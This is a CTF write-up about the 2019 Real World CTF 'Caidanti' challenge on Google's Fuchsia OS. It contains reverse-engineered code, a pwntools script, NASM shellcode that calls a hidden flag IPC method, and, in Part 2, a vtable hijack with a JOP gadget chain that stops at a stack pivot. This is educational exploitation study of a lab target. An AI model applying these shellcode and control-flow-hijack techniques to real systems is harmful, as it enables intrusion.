Friday, September 20, 2019

Real World CTF 2019 Quals - Caidanti Part1 and Part 2

by Lucas Pinheiro

Quick Intro and Tools

Before describe the challange I’d like to share the tooling that I have used to solve it:

  1. IDA Pro - Disassembler and Reverse Engineering.
  2. Bless HEX editor - For checking the binaries provided.
  3. Ropper - ROP gadget finder.
  4. QEMU - Useful for running the OS and try the challenge locally.
  5. NASM - Assembler for shellcode.
  6. Python 3 with pwntools library.

Furthermore, I’d already like to apologize for a long write-up o(╥﹏╥)o. To be honest, I love to document everything that I have I tried, failed and learned while trying to solve the CTF challenge. Anyway, without further ado let’s get started.

Caidanti

The challenge has the following description:

Welcome to Cài Dān Tí (“menu challenge” in Chinese) Up for a wrestling with ptmalloc & glibc challenge? You WILL be disappointed. Built on top of commit ee37c146332dea8f30536b76839190cc6e839f2d

A few hints from the description:

  • It probably won’t be the “classic CTF challenges” with ptmalloc/glibc heap meta-data exploitation.
  • It gave us a commit number: ee37c146332dea8f30536b76839190cc6e839f2d

But.. what is Fuchsia?

Fuchsia

If you already know what is Fuchsia, you can skip this section, otherwise, Fuchsia by the words of our bestfriend Wikipedia:

Fuchsia is an open source capability-based operating system currently being developed by Google. It first became known to the public when the project appeared on a self hosted form of git in August 2016 without any official announcement. The source documentation describes the reasoning behind the name as “Pink + Purple == Fuchsia (a new Operating System)”. In contrast to prior Google-developed operating systems such as Chrome OS and Android, which are based on the Linux kernel, Fuchsia is based on a new microkernel called Zircon, named after the mineral.

The GitHub project suggests Fuchsia can run on many platforms, from embedded systems to smartphones, tablets, and personal computers. In May 2017, Fuchsia was updated with a user interface, along with a developer writing that the project was not a “dumping ground of a dead thing”, prompting media speculation about Google’s intentions with the operating system, including the possibility of it replacing Android. On July 1, 2019 Google announced the homepage of the project, fuchsia.dev, which provides source code and documentation for the newly announced operating system

If you want to read more about the subject, here is the wikipedia article.

tl;dr: It’s an open source operating system written by Google that has been in development for a while. Thus, it’s important for us to know its internals for the challenge, here some documentation for it:

  1. General documentation: https://fuchsia.googlesource.com/fuchsia/+/master/docs
  2. Syscall documentation (useful for part 2): https://fuchsia.dev/fuchsia-src/zircon/syscalls/

Okay, now we have some idea what the challenge is about, let’s take a look in the provided files!

Files

We have the following folders and files inside “caidanti.tgz”:

  • chal : This folder contains the challenge binaries, those are: caidanti, caidanti-storage-service and launcher
    • caidanti: It’s the binary that shows the main menu that we will interact
    • caidanti-storage-service: It’s a service with filesystem access that caidanti communicates via IPC, more about it later.
    • launcher: basically “open and run” caidanti and caidanti-storage-service.
      -run: It contains the files and instructions necessary to run Fuchsia locally. README.txt has a mini tutorial explaining how to do it. I’m assuming that you’ll follow it and setup your own local test.
  • sdk : Development kit used to build Fuchsia applications. They’re very useful to get the library binaries like libc, fdio, …

Alright, now that we have a good overview about the challenge, let’s start the part 1!

Part 1

Okay, now that we have a local environment to run your tests, let’s take a quick look what happens if we connect to the challenge server:


>world_ctf_quals_2019/caidanti/dist/run % socat stdio 'TCP6-CONNECT:['$(./netaddr --fuchsia)']:31337'

As usual, we have implemented create/read/update/delete
operations on pointless objects, except that...
THERE ARE NO BUGS! (hopefully)
Bring you own code if that's too boring. Don't worry,
that's safe, because THERE IS NO FLAG!

1. Create a new secret
2. Read content of secret
3. Update content of secret
4. Delete secret
5. List secrets
6. Exit
114514. Bring your own Cài Dān Tí

So, we have here the classic CTF challenge menu, we are able to create “secrets”, each secret has a set of (key, content). There are 6 options and a weird number (114514). Furthermore, the challenge says that if it’s too boring you can bring your own shellcode, so maybe we have an easy way to get code execution in caidanti?

Anyway, after it, I just decided to open the caidanti binary in IDA Pro and reverse it. After a while, I noticed the following code:

      default:

        // check if the command is 114514
        if ( command != 114514 ) {
          puts("?");
          continue;
        }


        // insert the sie of the shellcode that we want to write
        printf("Your code size: ", v25);

        size = read_int();

        if ( size >= 0x10001 ) {

          msg_text = "I... I can't fit this!";
          puts(msg_text);
          continue;
        }

        // map memory for our shellcode
        LODWORD(size_) = size;
        mem_ = mmap(0LL, (size_t)&loc_FFFF + 1, 3, 0x80022, -1, 0LL);

        if ( mem_ == (_BYTE *)-1LL )
        {
          puts("Failed to allocate memory :(");
          continue;
        }
        mem__ = mem_;

        *(stack_frame - 37) = 0xAAu;

        // read the shellcode
        if ( (_DWORD)size_ )
        {
          size_ = (signed int)size_;
          count = 0LL;
          do
          {
            bytesRead = read(0, stack_buffer - 37, 1uLL);
            if ( bytesRead <= 0 )
exit_:
              exit(0);
            if ( bytesRead != 1 )
              break;
            mem__[count++] = *(stack_buffer - 37);
          }
          while ( size_ != count );
        }

        // map shellcode as R-X
        if ( mprotect(mem__, (size_t)&loc_FFFF + 1, 5) < 0 )
          puts("Failed to turn memory into executable :(");
        else

          // fptr/jmp into our shellcode
          ((void (__fastcall *)(_QWORD, char *))mem__)(0LL, (char *)&loc_FFFF + 1);
        continue;
    }
  }

Alright ᕦ(ò_óˇ)ᕤ! The weird number (aka 114514) actually is a command that allows us to upload and run our own shellcode, easy right? For the shellcode, let’s use NASM, you can write your shellcode and assembler it by using the following command:

nasm shell.asm -o shell.bin

Now, for upload the shellcode I have wrote a python script using pwntools, here is the script:

from pwn import *
import struct

context(arch='amd64')
context.log_level = 'debug'

SHELLCODE_NAME = 'shell.bin'

p = remote('%qemu', 31337)

def create_new_secret(i, size):
  p.sendline('1')
  p.recvuntil('Key: ')
  p.sendline(struct.pack('B', 0x41 + i) * size)
  p.recvuntil('Initial content: ')
  p.sendline(struct.pack('B', 0x43 + i) * size)
  p.recvuntil('114514. Bring your own Cài Dān Tí')


def send_shellcode():
	print('[-] sending shellcode')
	p.sendline('114514')
	p.recvuntil('Your code size: ')
	f = open(SHELLCODE_NAME, 'rb')
	shellcode = f.read()
	f.close()
	p.sendline(str(len(shellcode)))
	print('[-] size: 0x%X' % len(shellcode))
    
	for i in shellcode:
		print('[-] sending byte: 0x%X' % i)
		p.send(struct.pack('B', i))

# get ready for sending the commands
p.recvuntil('114514. Bring your own Cài Dān Tí')

create_new_secret(0, 0x10)

for i in range(1, 15):
  create_new_secret(i, 0x80)

send_shellcode()

p.interactive()

To make sure that our shellcode is working, let’s try to write only INT 3 instruction, it’ll trigger a software interruption and we can check the registers, stack and other information provided by the “crashdumper”. Here is the result:


[205312.313] 01413:02251> <== fatal exception: process /pkg/bin/caidanti[73396] thread initial-thread[73398]
[205312.313] 01413:02251> <== sw breakpoint, PC at 0x63a432b1f002
[205312.313] 01413:02251>  CS:                   0 RIP:     0x63a432b1f002 EFL:              0x246 CR2:                  0
[205312.313] 01413:02251>  RAX:                  0 RBX:              0x31a RCX:     0x578d19e9498a RDX:                  0
[205312.313] 01413:02251>  RSI:                  0 RDI:                  0 RBP:     0x7097189603fe RSP:     0x6d6f6ae46f68
[205312.313] 01413:02251>   R8:                  0  R9:                  0 R10:                  0 R11:              0x206
[205312.313] 01413:02251>  R12:     0x7097189623a3 R13:     0x600387e29fc0 R14:     0x70971895fea0 R15:     0x63a432b1f000
[205312.313] 01413:02251>  fs.base:     0x50b137e80b38 gs.base:                  0
[205312.313] 01413:02251>  errc:                 0
[205312.313] 01413:02251> bottom of user stack:
[205312.313] 01413:02251> 0x00006d6f6ae46f68: 18966205 00007097 00000000 00000000 |.b...p..........|
[205312.313] 01413:02251> 0x00006d6f6ae46f78: 2c078f70 0000726c 3ffb8eb0 00005d99 |p..,lr.....?.]..|
[205312.313] 01413:02251> 0x00006d6f6ae46f88: 87e29fc0 00006003 87e29fd0 00006003 |.....`.......`..|
[205312.313] 01413:02251> 0x00006d6f6ae46f98: 00000001 00000000 6ae46ff0 00006d6f |.........o.jom..|
[205312.313] 01413:02251> 0x00006d6f6ae46fa8: 3ff707b8 00005d99 87e29fd0 00006003 |...?.].......`..|
[205312.313] 01413:02251> 0x00006d6f6ae46fb8: 00000001 00000000 00000000 00000000 |................|
[205312.313] 01413:02251> 0x00006d6f6ae46fc8: 00000024 00000000 3ff284a0 00005d99 |$..........?.]..|
[205312.313] 01413:02251> 0x00006d6f6ae46fd8: 00000009 00000000 e5e1a44b 00000000 |........K.......|
[205312.313] 01413:02251> 0x00006d6f6ae46fe8: 2c078e80 0000726c 2c078fd0 0000726c |...,lr.....,lr..|
[205312.313] 01413:02251> 0x00006d6f6ae46ff8: 00000000 00000000                   |................|
[205312.313] 01413:02251> arch: x86_64
[205312.322] 01413:02251> dso: id=2aa6571acee24348 base=0x70971895f000 name=app:/pkg/bin/caidanti
[205312.322] 01413:02251> dso: id=3bbb161daecb4232 base=0x5d993ff0b000 name=libc.so
[205312.322] 01413:02251> dso: id=c27f348845222148 base=0x5d2e9cd15000 name=libc++.so.2
[205312.322] 01413:02251> dso: id=5d8e98cee74051fe base=0x578d19e8d000 name=<vDSO>
[205312.322] 01413:02251> dso: id=0e2ccaeccb00d6ab base=0x5055a3919000 name=libfdio.so
[205312.322] 01413:02251> dso: id=5aa1a22b01f749ba base=0x23e95eb4f000 name=libasync-default.so
[205312.322] 01413:02251> dso: id=c200204d0d41e6bb base=0x1440b1c4d000 name=libunwind.so.1
[205312.322] 01413:02251> dso: id=6fe653e43b2b5e45 base=0x805869ea000 name=libc++abi.so.1

Perfect! here is a list of information that we can get from the crash dumper:

  1. R15 is the address for our shellcode, bypass ASLR.
  2. stack memory + offset 0x18 is an address in libc.so, so we can find libc.so .text base address/bypass ASLR.
  3. R13 seems to be some sort of RW- memory that I can definitely use to write our .data.
  4. R12 is an address in caidanti binary, so we can find caidanti .text base address/bypass ASLR.

Alright, so we know the base address for libraries (libc, libfdio) as well as the main binary (caidanti). Furthermore, we know that the flag is at “/pkg/data/flag” by reverse engineering the caidanti binary.. what should we do now?

Failed Attempt 1: Use libc.so to call system(“/boot/bin/sh”)

Well, I might admit that it was kinda silly from my part to think that the challenge would be easy to solve like that.. Anyway, I used the adddress stored at stack+0x18 to read out the address of libc.so and called system with “boot/bin/sh” as argument and guess what? It just make me go back to the caidanti main menu, as if the binary just reopened again. Anyway I wasn’t able to get shell with it o(╥﹏╥)o so I decided to move to something else.

Failed Attempt 2: Use libc.so fopen/fread to read out the flag

Soo… we know the file path for the flag, why not read it out and print? Unfortunately it didn’t work again and the reason? I didn’t pay enough attention, lazy to reverse the binary (NEVER BE LAZY @[email protected]). Furthermore, IO operations aren’t done through libc.so, but through fdio.so library. So I once again calculated the base address now for the libfdio.so and tried to open and read the flag out and guess what? It didn’t work! :(

Final Attempt: Pay attention and reverse the binary properly!

Finally I decided that I needed to reverse the binary and understand it better, after a while doing it, I found out the following:

  1. All operations (Create, Read, Update, …) are done via IPC (aka FIDL) with caidanti-service-storage.
  2. The operations uses a lot of std::string for sending/reading information (key + content).
  3. By checking the object service vtable (the code is written in C++) it does have a few functionalities that aren’t fully implemented, like ‘fidl.caidanti.storage/SecretStorageGetFlag1Response’.

Thus, to obtain the flag we need to write shellcode that will send a SecretStorageGetFlag1Response IPC request to storage-service and it “in theory” should return to us the flag.

To ensure that our “theory” is right, I changed the “read secret content” vtable function to instead call GetFlag1Response function and guess what? it works (^O^)! However, it returns a std::string with “no flag for you” and crashes (due to read secret content expects to return a Virtual Memory Object, more about it later!).

Finally, we can just use the read secret content function (0x6780 in caidanti binary) as the bases for our shellcode, it’ll send a “std::string” object and return a std::string as result. Indeed, it works, but, we still have a small problem, it always returns “no flag for you”, but why? The answer is to reverse the GetFlag1Response function in storage-service, let’s check out the code:

signed __int64 __fastcall s_storage_interface::getFlag(s_interface_storage *this, __int64 *input_buffer, __int64 a3)
{
    
   /* removed for readibility */

  ; read the string size and make sure it's ok
  size = *((unsigned __int8 *)input_buffer + 0x17);

  if ( (size & 0x80u) != 0LL )
    size = input_buffer[1];

  if ( size != 0x10 )
    goto error;

  ; "secret" 64 bits value that will be used together with secret_string_2
  ; to calculate data_rol_1 and data_rol_2
  secret_string = 'pizzatql';

  if ( (size & 0x80u) != 0LL )
    input_buffer = (__int64 *)*input_buffer;

  ; boring algorithm to "generate" 128 bits (data_rol_1) and data_rol_2   
  data_rol_1 = (*input_buffer + __ROL8__(input_buffer[1], 56)) ^ 'pizzatql';
  data_rol_2 = data_rol_1 ^ __ROL8__(*input_buffer, 3);
  secret_string_2 = 'lqtazzip';
  loop_cnt = 0LL;

  do
  {
    secret_string_2 = loop_cnt ^ (secret_string + __ROL8__(secret_string_2, 56));
    secret_string = secret_string_2 ^ __ROL8__(secret_string, 3);
    data_rol_1 = secret_string ^ (data_rol_2 + __ROL8__(data_rol_1, 56));
    data_rol_2 = data_rol_1 ^ __ROL8__(data_rol_2, 3);
    ++loop_cnt;
  }

  while ( loop_cnt != 0x1F );

  ; if the value isn't equal to 0xC9.. and 0x8F...
  ; it'll just return "No flag for you :("
  if ( data_rol_1 != 0xC96AAC2F35C3833FLL || data_rol_2 != 0x8F1FA1AD36C66F95LL )
  {
error:
    LOBYTE(v18) = aNoFlagForYou[15];
    *(_WORD *)((char *)&v18 + 1) = 10298;
    HIBYTE(v18) = 0;
    v19 = v18;
    LOBYTE(v19) = aNoFlagForYou[15];
    v14 = stack_frame - 296;
    v20 = *(void (__fastcall **)(__int64, unsigned __int64))(*(_QWORD *)a3 + 16LL);
    *(_QWORD *)(stack_frame - 0x128) = ' galf oN';
    *(_QWORD *)(stack_frame - 0x120) = *(_QWORD *)"for you :(";

So, it’ll read out a string with size 0x10 bytes and use it to calculate data_rol_1 and data_rol_2, if the value is different of the expected, it’ll return “No Flag for you”, here is a code if you want to try to figure out yourself the values that meet the condition:


#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <cstring>

// SOURCE: https://github.com/joxeankoret/tahh/blob/master/comodo/defs.h

// rotate left
template<class T> T __ROL__(T value, int count)
{
  const unsigned int nbits = sizeof(T) * 8;

  if ( count > 0 )
  {
    count %= nbits;
    T high = value >> (nbits - count);
    if ( T(-1) < 0 ) // signed value
      high &= ~((T(-1) << count));
    value <<= count;
    value |= high;
  }
  else
  {
    count = -count % nbits;
    T low = value << (nbits - count);
    value >>= count;
    value |= low;
  }
  return value;
}

inline uint64_t __ROL8__(uint64_t value, int count) { return __ROL__((uint64_t)value, count); }


int main() {

    uint64_t input_buffer_1 = 0x0;
    uint64_t input_buffer_2 = 0x0;

    uint64_t secret_string = 0x70697A7A6174716CLL;
    uint64_t secret_string_2 = 0x6C7174617A7A6970LL;

    uint64_t data_rol_1 = ((uint64_t)input_buffer_1 + __ROL8__((uint64_t)input_buffer_2, 0x38)) ^ secret_string;
    uint64_t data_rol_2 = data_rol_1 ^ __ROL8__((uint64_t)input_buffer_1, 3);

    unsigned int loop_cnt = 0LL;
    do
    {
      secret_string_2 = loop_cnt ^ (secret_string + __ROL8__(secret_string_2, 0x38));
      secret_string = secret_string_2 ^ __ROL8__(secret_string, 3);
      data_rol_1 = secret_string ^ (data_rol_2 + __ROL8__(data_rol_1, 0x38));
      data_rol_2 = data_rol_1 ^ __ROL8__(data_rol_2, 3);
      ++loop_cnt;
    }
    while ( loop_cnt != 0x1F );


    printf("[-] data_rol_1: %llX\n", data_rol_1);
    printf("[-] data_rol_2: %llX\n", data_rol_2);


    return 0;
}

Anyway, here is the final result for the 0x10 bytes: 0x416564614d756f59 0x6c6c61434c444946 or just “YouMadeAFIDLCall”.

Nice! Now we just need to send a std::string with YouMadeAFIDLCall and you’ll have a std::string with the flag. We can use the printf function to print its contents out, here is the shellcode for it:

BITS 64

global _start


; offset list 

; libc
fopen_offset equ 0x35030
fread_offset equ 0x39200


; canidanti 

open_offset equ 0xAD30
flag_offset equ 0x22F1

; printf
printf_offset equ 0xAC40

; free stack
stack_free equ 0x300


; input buffer
stack_offset_1 equ 0x200
; output buffer
stack_offset_2 equ 0x250


; service object offset
service_obj_offset equ 0xC140
_start:
	

	; calculate libc base address
;	MOV RBX, 0x40
;	ADD RBX, RSP
;	MOV RBX, [RBX]    ; RBX = address for start_main
;	MOV RAX, 0x117B8  ; offset to calculate libc base address
;	SUB RBX, RAX      ; RBX should be libc base address 
	
	; calculate caidanti base address	
	MOV RAX, 0x1205
	MOV	RBX, [RSP]
	SUB RBX, RAX    ; RBX has the base addres

	; calculate obj_service address
	MOV RAX, service_obj_offset
	MOV R14, RBX
	ADD R14, RAX  ; service object address in memory

	; memset
	LEA RDI, [R13 - 0x1200]
	XOR ESI, ESI
	MOV EDX, 0x200

	MOV RAX, 0xAC30
	MOV R12, RBX
	ADD R12, RAX

	CALL R12

	; setup the input and output buffer
	LEA RSI, [R13 - 0x1110]

	; write string 'A'
	MOV RAX, 0x416564614d756f59
	MOV [RSI], RAX
	MOV RAX, 0x6c6c61434c444946
	MOV [RSI+8], RAX

	MOV RAX, 0x0
	LEA RSI, [R13 - 0x1150]
	MOV [RSI], RAX

	LEA RSI, [R13 - 0x1148]
	MOV [RSI], RAX

	LEA RSI, [R13 - 0x1138]
	MOV [RSI], RAX

	MOV RAX, 0x10
	LEA RSI, [R13 - 0x1131]
	MOV [RSI], RAX

	; build some object in rsp lol
	LEA RAX, [R13 - 0x1150]
	MOV [RSP+0x20], RAX

	LEA RAX, [R13 - 0x1110]
	MOV [RSP+0x10], RAX

	MOV RAX, 0x1
	MOV [RSP+0x8], RAX

	;//////
	
	MOV RAX, 0x416564614d756f59
	LEA RSI, [R13 - 0x1148]
	MOV [RSI], RAX
	MOV RAX, 0x6c6c61434c444946
	MOV [RSI+8], RAX

	; calculate the vtable ptr
	MOV RAX, [R14]
	MOV RAX, [RAX]

	LEA RSI, [R13 - 0x1148]
	MOV RDX, [RSP + 0x20]
	MOV RDI, [R14]

	CALL [RAX + 0x38]

	; calculate printf address
	MOV RAX, printf_offset
	MOV R12, RBX
	ADD R12, RAX

	LEA RDX, [R13 - 0x1180 + 0x30]
	MOV RDX, [RDX]

	MOV RDI, RDX
	CALL R12

	; overwrite the stack with output for debugging
	LEA RDX, [R13 - 0x1180 + 0x30]
	MOV RDX, [RDX]
	MOV RSP, RDX
	INT 3

flag_dir:
	db "/pkg/bin/caidanti", 0

permission:
	db 'rwa',0

;pop_shell:
;	db 'ls', 0



Flag for part 1: rwctf{Turns_out_this_is_harder_than_expected}

Part 2

Unfortunately I wasn’t able to finish the part 2 in time ب_ب . I was stuck in the ROP chain as ROPgadget didn’t provide me enough useful gadgets. Anyway, ropper works well in that aspect (as I was able to solve the challenge using it), or maybe it was just misusage from my part.

Anyway, the second part has the same description, but you can get the idea by the label “pwn”. Probably we need to find a vulnerability in caidanti-storage-service that may be triggered via IPC, by using that vulnerability we may able to get code execution on it and read out the flag.

My strategy at this point was to go throug every interface method in hope to find a memory corruption vulnerability :D.

Failed Attempt 1: “possible” heap overflow in “createSecret” method

Initially I thought I had found a heap overflow in the function that create a new secret. As the function will read the std::string for (key ,content) and write it into a content list with fixed size (0x100 bytes), but, the memcpy uses the length directly from the std::string (that you control). Well, let’s check the code:

void __fastcall s_storage_interface::createSecret(s_interface_storage *this, __int64 a2, _QWORD *input_buffer, __int64 a4)
{

  if ( this->secret_0[0] )
  {
    if ( this->gap170[0x18] )
    {
      if ( this->secret_2[0x100] ) <---------------------- [1]
      {
        /* removed for readibility */
      }
      else
      {
        secret_id = 2LL;
      }
    }
    else
    {
      secret_id = 1LL;
    }
  }
  else
  {
    secret_id = 0LL;
  }
  this->secret_0[0x120 * secret_id] = 1;
  std::__2::basic_string<char,std::__2::char_traits<char>,std::__2::allocator<char>>::operator=(&this->secret_0[0x120 * secret_id + 8]);
  size = *((unsigned __int8 *)input_buffer + 23);
  if ( !*((_BYTE *)input_buffer + 24) )
    goto key_or_content;
  if ( (size & 0x80u) != 0LL )
  {
    if ( input_buffer[1] )
      goto key_or_content;
  }
  else if ( *((_BYTE *)input_buffer + 23) )
  {
key_or_content:
    dst = &this->secret_0[0x120 * secret_id + 0x20];
    if ( (size & 0x80u) != 0LL )
    {
      content = (_QWORD *)*input_buffer; <-------------------- [2]
      size = input_buffer[1];           
    }
    else
    {
      content = input_buffer;
    }
    memcpy(dst, content, size);  <-------------------- [3]
    goto finish;
  }
finish:
  v11 = *(_QWORD *)(*(_QWORD *)a4 + 16LL);
LABEL_42:
  JUMPOUT(unk_59C6);
}

First, we will go through a list of “secret”, verifying which one isn’t in use [1]. After finding a secret that isn’t in use, we will copy the key and content (if we have contents) to the buffer with size 0x100. Notice that at [2] we are reading the content buffer pointer and size that will be directly used in a memcpy at [3] without any bounds-check. I thought that it was possible to overflow the secret content by providing a huge string and maybe we could overwrite something useful.

Anyway, even if that works, I think it would be painful to exploit as I’d need to either derivate an info leak from it or at least find an info leak in another interface method. Well, I ended up writing shellcode to trigger that possible vulnerability and it didn’t work :/. I tried a few times and I thought it would be a nice idea to understand how the update secret function updates the content in the caidanti-storage-service and I ended up finding something better than that, the “true bug” that should be exploited ●‿●.

Final Attempt: The glorious shared-memory

Let’s take a look in the function that updates a secret’s content:

  "pseudo-code", I removed some code that isn't important for us right now
  unsigned int result = service_object->vtbl->update_content(&service-obj, stack_frame - 0x148, stack_frame - 0x150);


  if (!result) {
    vmo_obj = *(vmo_obj*)(stack_frame - 0x150); // read the "vmo object" or whatever is it called <----- [1]

    if (vmo_obj) {
      
      // get shared memory size
      uint64_t size = 0;
      if (!zx_vmo_get_size(vmo_obj->handle, &size)) {   <------- [2]

        // get vmar handle I guess?
        unsigned int vmar_handle = zx_vmar_root_self();

        // shared memory
        zx_vaddr_t* mapped_mem = 0;

        // map the shared memory        
        if (!zx_vmar_map(vmar_handle, 0x3, 0x0, vmo_obj->handle, 0x0, size, shared_memory) {  <------- [3]
          printf("size: (max %zu", max_size); // 0x100 iirc

          unsigned int size_to_write = read_int();

          void *content_to_update = shared_memory + vmo_obj->start_offset;  <---------- [4]

          if (vmo_obj->mem_size > size_to_write) { <---------- [5]
            int i = 0;

            do {
              char data = 0;
              int bytesRead = read(0, &data, 0x1);

              if (bytesRead <= 0) break;

              if (bytesRead == 1) {
                *(char*)(content_to_update + i++) = data;  <---------- [6]
              }
            } while (size != i)
          } else {
            puts("Tha...That's too...too much!");
          }
        }

      }
    }
  }

Well, I thought we would need to send a combination of (key,content) std::string to update the secret to a new content. But, actually we will return some “information” that will be used with a set of zx_* (syscall) functions. by checking the documentation, we are mapping shared memory, well, let me explain in details what is going on here:

  1. We will get the “vmo object” (I don’t know if that’s the proper name for it).
  2. We will read the shared memory region size by using zx_vmo_get_size.
  3. We will map the shared memory in our address space, now shared_memory will be a pointer into it.
  4. We will “increment an offset” in the shared_memory pointer, that will indicate where we can write contents.
  5. We have a “bounds-check” to avoid out-of-bounds write.
  6. We will update the contents with our new data.

Now we need to write a shellcode that will do exactly the same zx_* function calls and dump the shared memory region to analyze it, for our surprise:

[01453.656] 01413:02022> <== fatal exception: process /pkg/bin/caidanti[9072] thread initial-thread[9074]
[01453.656] 01413:02022> <== sw breakpoint, PC at 0x7ffdc721b307
[01453.656] 01413:02022>  CS:                   0 RIP:     0x7ffdc721b307 EFL:              0x202 CR2:                  0
[01453.656] 01413:02022>  RAX:               0x70 RBX:      0xcc6de741000 RCX:     0x57aabfa99975 RDX:                  0
[01453.656] 01413:02022>  RSI:      0x9450f5c6000 RDI:                  0 RBP:      0xcc6de73c3fe RSP:      0x9450f5c6000
[01453.656] 01413:02022>   R8:                  0  R9:                  0 R10:                  0 R11:     0x51ce59c81000
[01453.656] 01413:02022>  R12:     0x11a449f92070 R13:     0x1b4f93aacfc0 R14:     0x11a449f92000 R15:     0x7ffdc721b000
[01453.656] 01413:02022>  fs.base:     0x4abc2c036b38 gs.base:                  0
[01453.656] 01413:02022>  errc:                 0
[01453.656] 01413:02022> bottom of user stack:
[01453.656] 01413:02022> 0x000009450f5c6000: 49f92070 000011a4 00000000 00000000 |p .I............|
[01453.656] 01413:02022> 0x000009450f5c6010: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c6020: 49f92100 000011a4 59c82613 000051ce |.!.I.....&.Y.Q..|
[01453.656] 01413:02022> 0x000009450f5c6030: 49f92820 000011a4 00000000 00000000 | (.I............|
[01453.656] 01413:02022> 0x000009450f5c6040: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c6050: 49f92000 000011a4 00000000 00000000 |. .I............|
[01453.656] 01413:02022> 0x000009450f5c6060: a27bafb0 00004f21 00000001 00000000 |..{.!O..........|
[01453.656] 01413:02022> 0x000009450f5c6070: 59c82928 000051ce 41414141 41414141 |().Y.Q..AAAAAAAA|
[01453.656] 01413:02022> 0x000009450f5c6080: 00000000 10000000 43434343 43434343 |........CCCCCCCC|
[01453.656] 01413:02022> 0x000009450f5c6090: 43434343 43434343 00000000 00000000 |CCCCCCCC........|
[01453.656] 01413:02022> 0x000009450f5c60a0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60b0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60c0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60d0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60e0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60f0: 00000000 00000000 00000000 00000000 |................|

Definitely there are pointers before the the (key, secret) that will be updated, let’s see what happens if we try to change the first pointer to 0x42424242:

[01562.933] 01413:02022> <== read not-present page fault, PC at 0x1b7f97878276
[01562.933] 01413:02022>  CS:                   0 RIP:     0x1b7f97878276 EFL:              0x202 CR2:         0x42424242
[01562.933] 01413:02022>  RAX:         0x42424242 RBX:     0x10ac10974ed0 RCX: 0xd8a8b761274f4453 RDX:     0x10ac10974e78
[01562.933] 01413:02022>  RSI:                  0 RDI:     0x170351895000 RBP:     0x10ac10974f90 RSP:     0x4a323f946f40
[01562.933] 01413:02022>   R8:                  0  R9:                  0 R10:                  0 R11:              0x202
[01562.933] 01413:02022>  R12:     0x10ac10974fc0 R13:     0x170351895000 R14:     0x10ac10974eb0 R15:     0x10ac10974fb0
[01562.933] 01413:02022>  fs.base:     0x7c285ef7db38 gs.base:                  0
[01562.933] 01413:02022>  errc:               0x4
[01562.933] 01413:02022> bottom of user stack:
[01562.933] 01413:02022> 0x00004a323f946f40: 10974d60 000010ac 10974e90 9c98ac3b |`M.......N..;...|
[01562.933] 01413:02022> 0x00004a323f946f50: 10974f10 000010ac 10974ee8 000010ac |.O.......N......|
[01562.933] 01413:02022> 0x00004a323f946f60: 10974e90 000010ac 10974fb8 000010ac |.N.......O......|
[01562.933] 01413:02022> 0x00004a323f946f70: 274f4453 d8a8b761 0f51df70 00007324 |SDO'a...p.Q.$s..|
[01562.933] 01413:02022> 0x00004a323f946f80: 89defeb0 00006d39 10974fc0 000010ac |....9m...O......|
[01562.933] 01413:02022> 0x00004a323f946f90: 10974fd0 000010ac 00000001 00000000 |.O..............|
[01562.933] 01413:02022> 0x00004a323f946fa0: 3f946ff0 00004a32 89da77b8 00006d39 |.o.?2J...w..9m..|
[01562.933] 01413:02022> 0x00004a323f946fb0: 10974fd0 000010ac 00000001 00000000 |.O..............|
[01562.933] 01413:02022> 0x00004a323f946fc0: 00000001 00000000 00000028 00000000 |........(.......|
[01562.933] 01413:02022> 0x00004a323f946fd0: 89d5f4a0 00006d39 0000000a 00000000 |....9m..........|
[01562.933] 01413:02022> 0x00004a323f946fe0: 9e48ac8f 00000000 0f51de60 00007324 |..H.....`.Q.$s..|
[01562.933] 01413:02022> 0x00004a323f946ff0: 0f51dfd0 00007324 00000000 00000000 |..Q.$s..........|

It crashed with RAX = 0x42424242, if we check which instruction in the caidanti-storage-service it happened, for our surprise it’ll be at:


LOAD:000000000000526F                 mov     rax, [r13+0]
LOAD:0000000000005273                 mov     rdi, r13
LOAD:0000000000005276                 call    qword ptr [rax]

YES! We have control over an object vtable ᕦ(ò_óˇ)ᕤ and not only that, if we know the address for the object vtable we can calculate the .text base address for caidanti storage bypassing ASLR!

Putting all those information together, here is what we can do:

  1. We can do an arbitrary function call as we have control over the vtable address
  2. We know the shared memory base address in caidanti-storage (shared_memory+0x50)
  3. We can use the shared memory to fake our vtable + write our ROP chain!
  4. We have control over the registers: RAX (vtable), RDI (shared_memory base address), R13 (shared memory base address)

Alright! At this point our goal is to get ROP in caidati-storage-service process. But how can we do it? Well, I couldn’t find enough gadgets that allows me to easily get control over the stack pointer, so what we can do is write a small JOP chain to get control over the stack pointer register. So here what I did:


; gadget 1:
; here we will control R14, that will be equal to shared_memory base address
; rax will be *(u64*)(shared_memory+0x20) that is the address for\
; our next gadget and we jump into it
LOAD:0000000000006928                 mov     r14, rdi
LOAD:000000000000692B                 mov     rax, [rdi+20h]
LOAD:000000000000692F                 add     rdi, 30h
LOAD:0000000000006933                 call    qword ptr [rax+20h]	

; gadget 2:
; here we will control RSI, that it'll be *(u64*)(r14+0x30) 
; RAX will hold the address for the next gadget
LOAD:0000000000011E3C                 mov     rax, [r14+28h]
LOAD:0000000000011E40                 test    rax, rax
LOAD:0000000000011E43                 jz      short loc_11E4E
LOAD:0000000000011E45                 mov     rsi, [r14+30h]
LOAD:0000000000011E49                 mov     rdi, r14
LOAD:0000000000011E4C                 call    rax

; gadget 3
; we recovery the control over RAX that will be useful, so it'll 
; be pointing into shared memory, the next gadget will be *(u64*)(RAX+0x20)
LOAD:0000000000006613                 mov     rax, [r14+30h]
LOAD:0000000000006617                 lea     rdi, [r14+40h]
LOAD:000000000000661B                 call    qword ptr [rax+20h]

; gadget 4
; We push rax (that currently point into shared memory) into stack
; and jump into *(u64*)(RSI+0x2E)
LOAD:00000000000055D4                 push    rax
LOAD:00000000000055D5                 jmp     qword ptr [rsi+2Eh]

; gadget 5 - stack pivot
; now we control the stack with the pop, as we have 
; pushed rax(shared memory) into the stack on gadget 4
LOAD:0000000000005682                 pop     rsp
